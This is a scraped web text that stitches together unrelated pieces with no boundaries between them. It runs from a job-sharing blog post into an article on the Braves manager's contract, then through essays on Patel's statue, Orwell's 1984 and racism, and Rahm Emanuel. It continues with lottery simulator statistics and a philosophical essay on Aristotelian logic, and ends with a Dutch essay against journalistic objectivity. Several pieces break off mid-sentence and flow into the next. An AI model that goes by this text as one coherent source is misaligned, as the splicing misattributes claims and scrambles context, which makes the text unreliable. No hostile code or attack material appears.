Job sharing is a great solution to the “brain drain” and other loss of organizational intelligence that occurs when highly experienced workers must face leaving the workforce due to personal obligations. Two professionals who can join together to offer a company their combined experience is one of the best ways to prevent a distraction from the company’s directives.
The US federal government has promoted job sharing as an opportunity within its departments to offer flexible employment to those who need more alternatives in taking care of their families, pursuing education, or for those who have other reasons for desiring part-time work. Several state legislatures are reviewing bills that will require more flexible options for employees.
Which solutions work best for you?
For decades, employers have worked to create family-friendly policies to help alleviate the stress of balancing work and family. But now, we’ve got to consider even more creativity as we realize how many employees face the necessity of caregiving for their parents as well.
And the good news is, these more flexible options can benefit all workers, from every walk of life and situation. It’s something a lot of us are looking for at work, according to many surveys like this one:
If you’re balancing work and family or the caregiving of an aging family member, or are simply interested in flexible work, I’d love to hear from you.
What flexible arrangements are most important to you? Have you found that the workday is improved by focusing on results, rather than time spent in an office?
Originally written Mar 15, 2016. Last updated Mar 15, 2016The Atlanta Braves are focused on the future. That is obvious. They’ve traded Andrelton Simmons for prospects and also could move their top starting pitcher, Shelby Miller.
Yet, one key aspect of their organization remains decidedly short term: the contract of manager Fredi Gonzalez.
Gonzalez is signed only through the 2016 season, as part of a one-year extension he received in July. He has managed the team for five years, including back-to-back 90-win seasons in 2012 and 2013, but apparently the Braves aren’t comfortable committing to him for 2017 — when they’re scheduled to begin playing in a new stadium.
Article continues below...
At the Major League Baseball general managers’ meetings last week, I asked Braves GM John Coppolella why Gonzalez’s contract wasn’t extended beyond 2016.
He paused before answering.
“We really like Fredi,” Coppolella said. “We thought it was an extension (in July). We knew we’d probably be selling off at the (2015 trade) deadline. If we didn’t have faith in Fredi, we would have let it play out.
“It’s something where we really like Fredi and his staff. Any contract you do, you want to have flexibility, and we have some flexibility. Fredi’s the same as me, the same as anybody. We’re all here with the Braves. I want Fredi to be here a long time. I hope he is.”
I asked if it’s possible Gonzalez’s status will be revisited between now and Opening Day. Coppolella didn’t say |
autocratic," he says. “In the 1930s, he was referred to as the Stalin of the Congress party. He was much more conservative than Nehru. During the Bardoli Satyagraha, he had no problem using caste and gender to mobilize people. He did whatever was needed. He used traditional idioms that today would be considered objectionable. During the agitation, he told bonded labour that their relationship with their landlords was like that of a devoted wife, so that they would support the landlord’s interests against the British. He appealed to tribal groups via superstition."
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Another statue at the Sardar Vallabhbhai Patel International Airport, Ahmedabad. Photo: Sam Panthaky/AFP
But by allowing one reading of Patel to supersede all others, we are unjust to a man who gave up family and the best years of his life to marshal the ground fight against Britain’s colonialists. We are allowing the parts of his story that serve contemporary interests to take precedence.
Take the decisive military action Patel ordered in the Muslim principalities of Hyderabad and Junagadh, a favourite of Hindu nationalist rhetoric and writing. Given the overwhelming resources of the Indian state compared to even large princely states like Hyderabad, this was the only expected result. Less often celebrated in firebrand speeches and books, perhaps because quiet negotiation does not rouse the senses in the way that marching an army into the territory of a long-reviled Other does, is the adroit manner in which he and V.P. Menon convinced some 560 other reluctant and cossetted princes to hand over their fiefdoms peaceably.
Patel’s motivations and accomplishments can be debated and interpreted endlessly, and should be. But in 2009, Jaswant Singh’s book Jinnah: India-Partition Independence, claiming Partition was a concession made by Patel and Nehru, was immediately banned in Gujarat. Singh was subsequently expelled from the BJP. His claim might well have been erroneous, but preventing the discussion aids no one. Clearly there is a desire to narrow the way in which Patel is remembered.
In a sense, building a statue is a similar enterprise. It seeks to grant definite form and size to the more flexible, nebulous suggestions that memory and history offer. Let us hope all those who some day look upon the Statue of Unity remember that Sardar Vallabhbhai Patel stood not for this or that, but for all of India.I wrote this piece for a mainstream publication, which alas decided not to use it (though they did pay me.) I tried to find another home for it, but without success. So I'm putting it here. The piece is not paywalled, so please share. If you like this and want to support my writing, you can donate using that button over there on the side.
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In the United States, authoritarianism means Big Brother. George Orwell's 1984, which works both as Cold War anti-Stalinist agitprop and as anti-fascist warning, appeals equally to left, right, and center, and is as a result ubiquitous in high school classrooms. It was inevitable, then, that numerous commentors would link 1984 to 2017. Libertarian vice-presidential candidate Bill Weld compared Trump's rallies to Big Brother's two-minute hate. The Economist linked Trump's rhetoric to newspeak. The Atlantic ran a piece by a high school teacher talking about why 1984 was important to teach at this moment.
And yet there is a crucial difference between Trump and Big Brother. Big Brother isn't racist.
You would think that racism would be central to any portrayal of fascism; Nazism is inseparable from hatred of Jews. Yet, America's most important cultural vision of authoritarianism is virtually post-racial. It's true that there are some hints of prejudice in the narrative; Winston Smith makes a few mildly disparaging references to Jews and to the foreign "Mongols" in Eurasia. The repressive machinery of the party, however, is not especially focused on Jews, or Asians, or marginalized people. It's aimed, instead, at its middle-class white citizens. Indeed, the horror of 1984 is in part that it takes the surveillance, the cruelty, and the terror which Orwell saw as a British imperial official in Burma, and visits it on the white, middle-class professionals of London itself.
You could argue that Orwell didn't focus on racial hatred because he was extrapolating from Stalin, rather than from Hitler. The truth, though, is that Soviet violence was itself often powered by racial or ethnic hatred. The Ukrainian famine in 1933, or the purges of the people Stalin referred to as "Polish filth" in the later 1930s, or the final targeting of Jewish doctors in 1950, which Stalin died before completing, were all focused around, and enabled by, prejudice. Compared to actual authoritarian states, Oceania is remarkably egalitarian in its use of surveillance and internment. O'Brien, the representative of the thought police in 1984, says that the proles are not human—but that's an excuse for repressing them with less venom. The human face which the boot stamps upon forever—in Orwell's world, unlike ours, its precise appearance is a matter of indifference to the authorities.
As with Orwell, so with most of our other most recognizable fictions of authoritarianism. Margaret Atwood is sensitive to the ways in which fascism uses sexism, but The Handmaid's Tale barely mentions race. Black people in Gilead are killed off to the side, but it's not a central concern of the novel. Similarly, racial animosity in The Hunger Games is presented with such circumspection that many readers did not realize Rue was black until the movie appeared. In the Harry Potter series, Voldemort is an obvious Hitler analog, but hatred of Jews and people of color is displaced onto hatred of all non-magic users, regardless of racial background.
Thus, Harry Potter, like 1984, is ultimately a story about how fascism affects white people. Such narratives conveniently elides the fact that the main victims of authoritarian regimes are almost always people defined as racially different—whether Poles in the Soviet Union, Jews in Hitler's Germany, or black people in the giant gulag of the antebellum American South. Part of 1984's appeal for Americans is that its lack of racial analysis makes it easy to see authoritarianism as something to avoid in the future, rather than as a description of, for example, the current ideology of the United States prison system.
A post-racial Big Brother is going to be of limited use in understanding America—and of very limited use in understanding Trump. The media in the United States can talk about authoritarianism, and it can talk about racism. But, with its understanding of fascism shaped by texts like 1984, it often has trouble putting the two together.
Consider coverage of Trump's attack on the judge in the Trump University fraud case. Trump was accused of duping students into paying tens of thousands of dollars for useless real estate advice. The judge in the case was Gonzalo Curiel, an American born in Indiana whose family background is Mexican. When Curiel ruled against Trump on a procedural point in June 2016, Trump responded by saying Curiel was biased because of the judge's "Mexican heritage."
Trump was widely condemned for his racist remarks. Many also attacked him for trying to undermine faith in the judiciary and the rule of law. But there was little effort to put the two together. Yet authoritarians virtually always stoke prejudice specifically to undermine the rule of law, just as Trump did in this case. Hitler used paranoid conspiracy theories about Jewish treachery to justify his personal power grab; Putin uses homophobia to buttress his arguments about the decadent west and the need for his own (supposedly) strong leadership. In the same tradition, Trump leverages hatred against marginalized groups to buttress his power—as in his ongoing claims that he would have won the popular vote if undocumented immigrants hadn't cast fraudulent votes.
Big Brother does scapegoat political opponents, of course. But he does not target whole groups of people whose only political sin is that they are not white enough. As such, he doesn't immediately come to mind when Trump attacks immigrants, or black people, or Jews. In our fixation on 1984 and similar stories, we fail to see how stoking racist resentments is central to crushing American democracy.
If we're willing to look up from 1984, there are other texts which can perhaps provide a better road map for the challenges facing the United States during a Donald Trump presidency. Octavia Butler's 1998 Parable of the Talents, for instance, features a religious fascist named Andrew Jarret whose slogan, eerily, is "Make America Great Again." Jarret demonizes non-believers and outsiders to consolidate power, averting his eyes as his supporters commit freelance acts of terror against minority communities. Or, looking further back, we might think about D.W. Griffith's Birth of a Nation, in which hatred of black people justifies a vigilante overthrow of Southern governments and mass disenfranchisement in order to restore a white hierarchy.
Orwell is still relevant in some ways, even if he didn't see all aspects of our current crisis. But if we're looking for ways to understand America's lurch towards authoritarianism, it's important to acknowledge that racism isn't some sort of incidental, unpleasant afterthought in Trump's bid for power. For all his perspicuity, Big Brother's penetrating eyes didn't see race. The fascist watching us does.In a break from recent tradition, the Democrats are planning to widely expand the number of districts they plan to contest in the 2018 midterm elections. But, in a sign that not every tried-and-true Democratic instinct is being thrown out, they’re planning on dumpster diving for help doing it, with Politico reporting that three House Democrats involved in mapping out the party’s strategy to win in 2018 are going to make a pilgrimage to Chicago to seek out the advice of none other than Mayor Rahm Emanuel.
Those Democrats are seeking out Emanuel because of the part he played in winning back the House majority for Democrats in 2006, when he was chairman of the Democratic Congressional Campaign Committee.
“In 2006, there was a similar landscape, where Republican-controlled majorities in the House and Senate refused to do anything to hold George W. Bush accountable,” New York Rep. Hakeem Jeffries, one of the people going to see Emanuel, told Politico.
Emanuel is known as a ruthless campaigner and a money-over-everything Democratic fundraising superstar who’s extremely cozy with Republicans and the ultra-rich.
He’s also now known as the mayor who fought tooth and nail to suppress the horrifying dashcam video of a Chicago cop shooting black teenager Laquan McDonald 16 times as he walked away. Emanuel was facing an uphill re-election battle in late 2014, which would eventually result in a runoff, and the mayor refused to release the tape for more than 400 days after McDonald’s death. His approval ratings sank to record lows with Chicago voters.
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It was also revealed during his mayoralty that the Chicago Police Department had been running an off-the-books interrogation facility where thousands of people had been virtually disappeared out of thin air.
In other words, he’s the perfect person for our times, right?
During a podcast appearance last week, Emanuel laid out the contours of his vision for the Democrats’ future:
The future, in a presidential election, a statewide election, or a congressional, is in the suburbs, where more moderate voters exist...I purposely recruited candidates who reflected the temperament, tenor and culture of their district. I didn’t try to elect somebody that fit my image. I tried to help elect somebody that fit the image and the profile of the district.
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The idea of catering to the suburbs calls to mind a dreadfully smug remark New York Sen. Chuck Schumer, who was Emanuel’s fundraising counterpart in the Senate back in 2006, made the summer before the election that “For every blue-collar Democrat we lose in western Pennsylvania, we will pick up two moderate Republicans in the suburbs in Philadelphia, and you can repeat that in Ohio and Illinois and Wisconsin.”
You need only glance at the horror show of the day’s headlines to know how well that turned out. The 2016 election was a stark rejection of that thesis, and the country is a much different place now than it was in 2006.
What’s more, the right-leaning Democrats Emanuel ushered in were key factors in the weakening of a slew of Democratic priorities after Barack Obama’s election, from health care to the stimulus to climate change. Then they all got defeated anyway.
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Here’s a bold idea for 2018: rather than calling on Emanuel to help reheat the messaging and campaign strategies he co-opted from Republicans in the first place, they could try, I don’t know, championing policies that Americans actually like.Statistics
Since December 2014, every time a simulation is played on this site, some data are sent to our server which allow us to ellaborate the following statistics. Take them for what they are: statistics of this site.
Popularity
Among all avaliable simulators, the most used is Primitiva Simulator with 432.454 sessions played. Eurojackpot Simulator was added two years later than the others, so it's percentage in this graph has been adjusted.
The average duration of all simulations is 69 years (67 years in Primitiva, 36 years in Bonoloto, 89 years in Euromillions, 92 years in Eurojackpot, 33 years in Cupón, 443 years in Powerball and 243 years in Mega Millions). Few users outstrip 10.000 simulated years. If you decide to leave the application running during the night, don't miss to read the frequently asked questions.
Powerball and Mega Millions simulators were launched simultaneously on March 2017 so they deserve a personal popularity fight:
Equivalence in years Users of Primitiva Simulator have simulated 3.056.489.072 draws among all, which is equivalent to 29.389.318 years (counting 2 weekly draws, 104 a year) Users of Bonoloto Simulator have simulated 1.116.069.448 draws among all, which is equivalent to 10.731.437 years (counting 2 weekly draws, 104 a year) Users of Euromillions Simulator have simulated 3.871.703.832 draws among all, which is equivalent to 37.227.921 years (counting 2 weekly draws, 104 a year) Users of Eurojackpot Simulator have simulated 605.463.248 draws among all, which is equivalent to 5.821.762 years (counting 2 weekly draws, 104 a year) Users of simulador de Cupón de la ONCE have simulated 873.419.352 draws among all, which is equivalent to 8.398.263 years (counting 2 weekly draws, 104 a year) Users of Powerball Simulator have simulated 754.053.248 draws among all, which is equivalent to 7.250.512 years (counting 2 weekly draws, 104 a year) Users of Mega Millions Simulator have simulated 455.771.472 draws among all, which is equivalent to 4.382.418 years (counting 2 weekly draws, 104 a year)
Return on Investment
Euromillions Eurojackpot Primitiva Bonoloto Cupón de la ONCE Powerball Mega Millions
Return on Investment Calculation
Return on investment in a simulation is calculated by dividing total wins by total investment. Results may differ quite a lot on every simulation and depend on chances, simulated period, price per draw and particularities of each game.
Of course it also depends on the number of users that by playing the simulators contribute to shape this statistics. As participants and collected data grow, these graphs will be more precise and close to reality.
Since December 2014, there have been 1.488.922 simulations played between all lottery games available: Primitiva, Bonoloto, Euromillions, Eurojackpot, Cupón de la ONCE, Powerball and Mega Millions
Currently the best return on investment percentage in 25 years is Primitiva Simulator, where participants would have recovered 35,60% of total investment. The game where less money is recovered seems to be Mega Millions, with a return of 9,06% in 25 years. Both Powerball and Mega Millions are more difficult and less profitable than any of the lotteries analyzed. Their jackpots are the highest though.
Negative Balance vs Positive Balance
As already intuited from the previous graph, where average loss represents 65-92% of investment, the percentage of users who lose their money is by far highest than those who reach or surpass the break-even point. Bet prices vary on each game (from €0.50 the cheapest up to €3) which determine the quantity that one has to win so that results are positive: betting twice a week during 25 years, total investment would be $2600 in Mega Millions, $5200 in Powerball, €5200 in Eurojackpot, €6500 in Euromillions, €1300 in Bonoloto, €2600 in Primitiva and €3900-€6500 in Cupón (counting a weekly expense of €3-€5).
Bonoloto's lower price (€0.50) seems decisive for it being the game where more users got a positive balance after simulating 25 years: 2,52 of every 100.
On the other side, Powerball is the game where more users lost their money: 99,91% of users ended up with a negative balance.
How many have won more than €1M in 25 years?
The picture looks even worse when we examine how many users became millionaires, winning more than €1 million. At best, they don't exceed 0,01042% of total simulations played.
15 of 432.454 users (0,00347%) in Primitiva. 23 of 292.161 users (0,00787%) in Bonoloto. 40 of 417.952 users (0,00957%) in Euromillions. 1 of 62.602 users (0,00160%) in Eurojackpot. 26 of 249.413 users (0,01042%) in Cupón. 1 of 16.365 users (0,00611%) in Powerball. 1 of 17.975 users (0,00556%) in Mega Millions.
Odds
Next graph is not based on simulators results. They are the known mathematical probabilities:
Which are the odds of winning an important prize?
In order to calculate the equivalence in years we divide the prize's probability by 104 annual draws (2 weekly draws):
Powerball Match 5+1: 1 in 292.201.338 (equivalent to 2.809.628 years)
Match 5+0: 1 in 11.688.053 (equivalent to 112.385 years) Mega Millions Match 5+1: 1 in 302.575.350 (equivalent to 2.909.378 years)
Match 5+0: 1 in 12.607.306 (equivalent to 121.224 years) Euromillions Match 5+2: 1 in 139.838.160 (equivalent to 1.344.597 years)
Match 5+1: 1 in 6.991.908 (equivalent to 67.229 years) Eurojackpot Match 5+2: 1 in 95.344.200 (equivalent to 916.771 years)
Match 5+1: 1 in 5.959.013 (equivalent to 57.298 years)
Primitiva Match 6+R: 1 in 139.838.160 (equivalent to 1.344.597 years)
Match 6: 1 in 13.983.816 (equivalent to 134.459 years) Bonoloto Match 6: 1 in 13.983.816 (equivalent to 134.459 years) Cupón de la ONCE Match 5 numbers + serial number: 1 in 90.000.000 - 150.000.000 (it depends on the day of the week and series printed) (equivalent to 865.348 o 1.442.307 years, respectively)
Match 5 numbers: 1 in 100.000 (equivalent to 961 years)
Note: in the graph, this prize's bar hardly reach 1 pixel wide, since 961 years is a tiny time compared with the scope of the graph of 1.600.000 years.
Flukes
With such low probabilities, hitting the jackpot in any lottery game is extraordinarily difficult. Most of people will never become a lottery millionaire, which of course is inherent to lottery games: many lose so that a few might win.
Are there better combinations than others?
All possible combinations have EXACTLY the same probabilities to emerge. In the same way that when you roll a dice many times each side appears at least once, if you play a 6/49 game during, let's say, a million years, there is a certain probability that your combination might appear sometime. Naturally, a dice has 6 sides, but in lottery games there are millions of potential winning combinations...
But... what if I win?
Gambling generates the illusion that continuing to play will lead to a large win, so many are willing to spend a small amount each week (not so small when you play for years) in exchange for the posibility, as remote as it may be, of becoming rich overnight.
It's up to you to decide if you play in real life and how much to spend, just make sure you don't spend more than you can afford to lose!The late Laurance Labadie once told me a parable about a king who decided that everytime he met somebody he would kick them in the butt, just to emphasize his power. My memory may have elaborated this yarn a bit over the years, but basically it continues as follows: since this maniac wore a crown and had an army, people soon learned to tolerate being kicked fairly often, and even began to accept it philosophically or stoically, as they accept taxation and other impositions of kings and governors. They even learned to bend over as soon as they saw the king coming.
Eventually, the king died and his successor naturally continued the tradition and kicked anybody he chanced to meet. Centuries passed, and, in the usual course of things, the nobility as a whole had demanded, and acquired, the same “right” as the king: any baron could kick anybody of lesser rank, and the knights could kick anybody except the barons or the royal family, etc. A large part of the population spent most of its waking hours facing a wall, crouched over, waiting for the next boot in the bottom.
The coming of democracy, in that amazing parallel universe, could only be understood according to the traditional thought-forms or acquired mental habits of the strange people there. Democracy therefore meant to those peculiar folks that anybody could kick anybody else as long as the kicker could prove that he (or she) had a bigger bank balance than the person receiving the boot in the rump. Within the context of the gloss or grid or reality-tunnel in that world, “democracy” could not have any other thinkable meaning. (See Berger and Luckman’s The Social Creation of Reality if this sounds fantastic to you.)
Of course, at first everybody rejoiced in the Constitution of the new democracy, for now “justice” (as they understood it) had been achieved: if you had good health and good luck, you could eventually accumulate enough money in a bank to have the “right” to kick as many people as had the “right” to kick you, and if you were especially shrewd or especially lucky, you could rise to the level where you could kick almost everybody and nobody whoso ever could kick you.
Of course, eventually Heretics appeared in that world, as in ours. These people wanted kicking abolished entirely, and they refused to admit that this constituted a “wild and radical idea.” They said it just seemed like “common sense” and “common decency” to them. Naturally, no sane, sound person would take such loonies seriously for a moment. In order to avoid thinking about the arguments of the Heretics, the sane, sound citizens developed a vocabulary to dehumanize and discredit them. Anybody who objected to being kicked regularly was called a “whiner,” a “malcontent,” a “coward,” a “queer,” a “gutless Liberal,” a “loser,” a “defective,” a “deviant,” a “nut,” a “bum” etc.
You see, the people in that world had been conditioned to believe that if you pinned such labels on Heretics, then it was not necessary to think about any of their arguments. (I will pass over in silence the creepy possibility that certain contributors to Critique seem to have arrived from that goofy alternative reality with their ideas of what constitutes reasonable debate unchanged during spatio-temporal transformation.)
Larry Labadie had his own point to make in creating that parable: as an anarchist, he believed the State Socialists were carrying over the worst features of Capitalism in their proposed Utopia. To me, however, the parable has a more general meaning, which I would state as follows: If people have lived with something every day of their lives, and especially if they know it has continued for many centuries, it becomes almost impossible to question it without sounding like some kind of pervert or eccentric, or, at best, like an intellectual wiseacre who can be suspected of just playing head-games or merely “toying with ideas.” At worst, the sane, sound domesticated people will decide you want to destroy the world or overthrow the deity or intend some atrocity equally drastic, and they will conspire to silence you.
To illustrate: after two centuries, most educated people can understand the philosophy of Deism as expounded by Voltaire. Historical research makes abundantly clear, however, that most of Voltaire’s contemporaries did not understand Deism at all; references to him as an “atheist” can be found continually, not just in writers with polemical intent, but also in many who evidently thought they were writing objective expository prose. It seemed impossible at that time for most persons to comprehend that denying the Christian God (G c, for convenience) did not mean denying any and all possible Gods (G x ).
Midway between Voltaire’s time and our own, Theodore Roosevelt, in a celebrated speech, referred to Thomas Paine as a “dirty little atheist.” Contemporary accounts describe Paine as clean and tall, and his own writings express a Deist, not Atheist, philosophy. It seems that c. 1900 many still found it hard to recognize that between Christian Orthodoxy and Atheism many other possible philosophical positions — Aristotelian “excluded middles” — can be found by the independent enquiring mind. To proceed from philosophical kindergarten to graduate school in one step, consider this more advanced illustration: between 1900 and c. 1926, quantum physicists discovered that certain Aristotelian “laws of thought” simply do not apply to the sub-atomic level. Specifically, one cannot meaningfully speak of a sub-atomic “particle” as a thing-in-itself possessing indwelling “properties” apart from the observer and the observational apparatus. Worse: a sub-atomic “particle” cannot even be called a “particle” without the quotation marks, since it acts like a wave as often as it acts like a particle.
As I say, this sub-atomic non-Aristotelianism emerged from experiments and analysis in the first quarter of this century. The subsequent half a century has confirmed that the sub-atomic world acts in an even more non-Aristotelian fashion than appeared at first, and no attempt to hammer the data into an Aristotelian framework has succeeded.
What has emerged as the consequence of this? As Labadie’s parable of the alternative world indicates, the consequence seems to be that quantum mathematics not only seems weird to laypersons but even to the leading physicists themselves, who have trouble understanding each other. If a scientific system cannot be stated in Aristotelian terms, nobody in our society is quite sure how it can be stated. To return to our metaphor, quantum philosophers seem to be trying to think of a world without arse-kicking while their minds are subtly programmed by a world in which such arse-kicking remains a predominant feature.
Thus, the famous or infamous “Copenhagen Interpretation” of Neils Bohr and his students (c. 1926–28) seems to me to mean that we cannot talk meaningfully about any absolute Aristotelian “reality” apart from us, but only about the relative “realities” we existentially-experimentally encounter and/or measure — but that Interpretation of the Copenhagen Interpretation must be described as only the way it seems to me. According to Dr. Nick Herbert of UC-Santa Cruz, the Copenhagen Interpretation means that no such animal as “reality” can ever be found at all, at all. I do not mean to exaggerate: in Quantum Reality, Dr. Herbert actually states the Copenhagen view as “There is no deep reality.” But, then, he dislikes the Copenhagen view, and has called it “the Christian Science school of physics.” Prof. Mermin of Columbia, defending the Copenhagen Interpretation, does sound as radical as Dr. Herbert, attacking it; Mermin says bluntly that “the moon is demonstrably not there when nobody is looking at it.”
John Gribbin, physics editor of New Scientist, also actually writes bluntly that the Copenhagen view means “nothing is real” on one page of his book, In Search of Schrödinger’s Cat, but more restrainedly he says later that “‘reality’ in the everyday sense” appears not useful in physics. Nobel laureate Eugene Wiegner, meanwhile, says that the Copenhagen position proves that we create the manifestations we observe in a laboratory (by designing the experiments that produce those manifestations) and therefore cannot apprehend anything as itself but only as it appears to us. Or, rather, I think that describes what Wiegner says. Wiegner’s critics claim that he says we create “reality” by thinking about it, which makes the old man sound like he has overdosed on acid or too many Shirley MacLaine TV specials.
John von Neumann, meanwhile, suggested in 1933 that quantum systems should be mathematically considered as having three possible states (yes, no and maybe, in nonmathematical language) in contrast to the two states of Aristotelian logic (yes and no.) Prof. David Finkelstein still argues that this makes more sense than any other way of talking about the sub-atomic world, but the majority of physicists think von Neumann merely performed a mathematical “stunt” with no physical significance.
The dominance of kicking in the thoughts of Labadie’s alternative world, and of Aristotelian logic in our world, indicates the difficulty humans experience in trying to perceive, or communicate their perceptions, outside the grid or gloss of the conditioned reality-tunnel of their “tribe” or society.
For instance, we often hear, and perhaps ourselves say, “It is raining.” Such a sentence illustrates what Bertrand Russell called the domination of subject-predicate grammar over Western “thought” or philosophy (or perception?). “It” seems to appear in that sentence only because subject-predicate grammar demands a subject for the verb-form “is raining.” If you ask yourself what that mysterious “it” denotes, you will find the question rather puzzling (unless you believe in a primitive rain-god like Zeus or Jehovah...) The same subject-predicate structure underlies most pseudo-scientific thinking, such as that of Moliere’s physician who said opium makes one sleepy because it contains a “sleep-producing property.” Most folk-explanations of human behavior notoriously fall into this category — e.g. a woman does not work because she has a “laziness-producing demon” in her or “is” “lazy,” where a functional analysis would seek a crisper, less demonological explanation in a depressed economy, in nutritional or endocrine imbalances, or, most likely, in some syngergetic combination of social and internal dynamics.
In general, traditional Western thought, especially on the folklore level, posits indwelling Aristotelian “essences” (or spooks) to explain virtually everything, where science — and, curiously, Eastern philosophy tend to find explanations in functional relationships described phenomenologically in terms of observed interactions. This may explain why science and Eastern philosophy appear equally absurd (or equally nefarious) to those raised in the traditional Western Christian reality-tunnel.
Specifically, we in our Western world have been conditioned and/or brainwashed by 2000 years of Christian metaphysics about “Good” and “Evil,” and to question that system of thought or reality-tunnel — or to offer a phenomenological alternative — creates a high probability (of about 99.97%, I estimate) that nobody will understand what one wishes to communicate. Nonetheless, I intend to take that risk here. I will experience great surprise and no small delight if any of the negative comments this elicits show any comprehension of my actual meanings.
To begin with, it seems to me that, as Nietzsche said, naive or intuitive concepts of “good” and “bad” have a different history than, and can otherwise be distinguished from, hypothetical indwelling spooks like “Good” and “Evil.” As probably used by our earliest ancestors, and as used by most people today, “good” and “bad” have the same meanings as they have for any other animals: “good” means “good for me” and “bad” means “bad for me.” Thus, a dog “knows” somehow that foul-smelling food should be considered “bad for me;” an educated human knows further that some sweet-smelling food may act “bad for me” also. All animals, including humans, “know” at birth, and continue to “know” — unless (in the case of humans) counter-conditioned or brainwashed — that hugging, cuddling, petting and oral and/or genital embrace definitely act upon the organism in ways “good for me.”
From this pre-metaphysical or phenomenological or operational point of view, I quite readily and easily identify many events or “things” in space-time that appear “good for me” (e.g. tasty food, freedom of the press, clever comedy, great painting, love-making, Beethoven, my word processor, money arriving regularly in large doses, certain drugs and vitamins, the above mentioned hugging-petting-fusion etc., etc.). I also observe easily many “things” or events in space-time that appear “bad for me” (e.g. Fundamentalist Christianity, Communism, Naziism, all other attempts to interfere with my liberty, toxic food, toxic waste, horror movies, certain drugs etc., etc.). I also observe that many things that seem “bad for me” seem “good” or harmless for others.
Continuing on this existential-phenomenological basis, it next appears to me that “good for me” and “bad for me” must be considered relative functions, in several senses. What appears “good for me” often appears “bad” for somebody else; or what appears “good for me” may sooner or later have consequences “bad for me;” or what appears “good for me” when age 20 may no longer appear “good for me” at age 50; and some recreations I judge “good for me” may later clearly appear “bad for me.” In general, “good for me” always remains relative to my knowledge or ignorance at the time I make the judgement, and I know from experience that I judge wrongly at times. (Notably, although hugging, cuddling etc. always appear “good for me,” the consequences of picking the wrong partner or the wrong time may clearly emerge later as unequivocally “bad for me.” This probably underlies most sexual superstitions, phobias and fixations.)
Some animals seem at times genetically programmed to recognize, some of the time, “good for my pack” or even “good for my species,” as documented in e.g. E. Wilson’s Sociobiology, Dawkin’s The Selfish Gene and similar works. With or without such genetic programming as hidden agenda, many humans clearly show the capacity to think about, and aim for, that which appears “good for my species” or even (recently) “good for the biosphere as a whole.” Such judgements still remain relative to the general welfare of the judger, relative to location and history in space-time (what appears good for the foxes will probably appear bad for the chickens) and, even in the case of “good for the biosphere” relative to the knowledge or ignorance of the judger.
Before proceeding, I beg the reader to notice that if human semantics had remained on this primitive phenomenological level, and the relativity of judgement remained obvious to all, negotiation and compromise would perforce play a larger role in history than they have hitherto, and violent “crusades” and religious/ideological wars would have played a comparatively smaller role. It always appears possible to negotiate about what appears good and bad to us in concrete situations; but it becomes increasingly impossible to negotiate successfully when metaphysical “Good” and “Evil” enter the universe of discourse. The tendency becomes then to fight, and to fight as violently as possible, as the blood-curdling history of Christian dogmatism clearly shows, and as such secular religions as Naziism and Communism have proven again in our own century.
By comparison, the Confucian ethic remains phenomenological; Confucius explicitly said that his system “was not against human nature” and compared it to “loving a beautiful flower or hating a bad smell, also called “respecting one’s own nose.” Taoism and Buddhism differ from Confucius chiefly in greater awareness of the relativity of judgements (and the possibility of trans-ego perception or detached-from-ego perception); but neither contains anything like the Occidental metaphysical concept of “Good” and “Evil.” Indeed, some of the most famous passages in Taoist and Buddhist scripture hurl ridicule at any metaphysical notions of nonrelative “Good” and “Evil” — notions which apparently emerged occasionally in the Orient, among eccentrics, as Oriental pantheism occasionally appears in the Occident, among eccentrics.
Nietzsche, as most people know, believed that metaphysical “Good” and “Evil” not only contradict most intuitive organismic evaluations of “good for me” and “bad for me” but appear to have been devised with the intent of contradicting (and confusing) such naive or “natural” reactions. (Most priestly notions of sexual |
is a poor ideal
So there’s no such thing as objectivity. But even if there were, journalists would need to steer clear of it.
That’s because the word “objectivity” is usually understood in terms of its moral dimension. Journalists are expected to suspend moral judgment. They’re not supposed to say what they think.
Yet this has never been an amoral business. On the contrary, journalism is moral through and through. It’s about what we as a society consider important, or should. All journalism, then, begins and ends with ideas about good and evil. The planet getting hotter isn’t news because it’s fact. The planet getting hotter is news because that’s a bad thing.
Journalism is moral through and through. It begins and ends with ideas of good and evil
If you order journalists to check their moral judgments at the door, one of two things will happen. Either they’ll have no clue what to report on and go home without a story, or they’ll figure it out in the only way possible: by letting others decide. In practice, that means becoming a mouthpiece for the establishment I talk in depth about objectivity and being a mouthpiece for the establishment in this interview with Esther van Fennema (in Dutch only). – the people with the power to decide what’s important, trivial, good, or bad. (Or, like the Dutch premier, to define what’s “normal” and what isn’t.) Premier Rutte wrote an open letter “to all Dutch people” effectively calling on immigrants to “act normal or leave" (in Dutch only).
Objective journalism, defined as not taking a position or having an opinion, has become precisely the opposite of what it was originally intended to be. Today, it equates to unquestioningly repeating the opinions of the powerful. By leaving the position-taking to the public, we reduce our task as journalists to issuing press releases on behalf of elites.
In short, we fail to fulfill our most basic duty.
That brings us to the third and most urgent problem with objectivity.
3. Objectivity threatens democracy
News is one of the most important sources of information in a democratic society. Today more than ever, it determines what we know, understand, and think about the world. It influences our voting behavior and how we see other people, cultures, and countries. To a large degree, it even shapes our image of ourselves.
Our view of the world is increasingly fueled by half-truths, whole fairytales, and bald-faced lies issuing from the uppermost ranks of global politics, amplified by the loudest yellers in domestic politics, and spread across millions of phones, laptops, and TVs in milliseconds. Today it’s more crucial than ever that journalism stand for something. We must commit to the values that are essential to a democratic society: to a check on power, to the pursuit of truth, to providing context and perspective.
When the president of the United States fabricates the number of attendees at his inauguration and then lashes out at every media organization that presents the evidence to show he’s lying, it’s not enough to report “Trump accuses media despite ample counterevidence,” as the NOS news did. Or to broadcast some even-handed variant that leaves the public in the lurch: “So-and-so reports X number of people, Trump says there were Y. And now over to Philip with the weather.”
Instead, you need to clearly announce that one of the world’s most powerful politicians is demonstrably lying yet again. The New York Times did a better job of this, with its story "With False Claims, Trump Attacks Media" And you’d better figure out why. The Washington Post provided an excellent explanation of why Trump ordered his press chief to peddle lies. Meanwhile, you should be keeping track The award-winning website Politifact.com keeps an eye on all Trump’s campaign promises. of his actions and not just his words. Otherwise, “not taking a position” means being not only a mouthpiece for power but a conduit for lies.
If demagogues loathe political correctness, journalistic correctness is their best friend. And democracy’s no match for that.
—Translated from Dutch by Laura Martz and Erica Moore
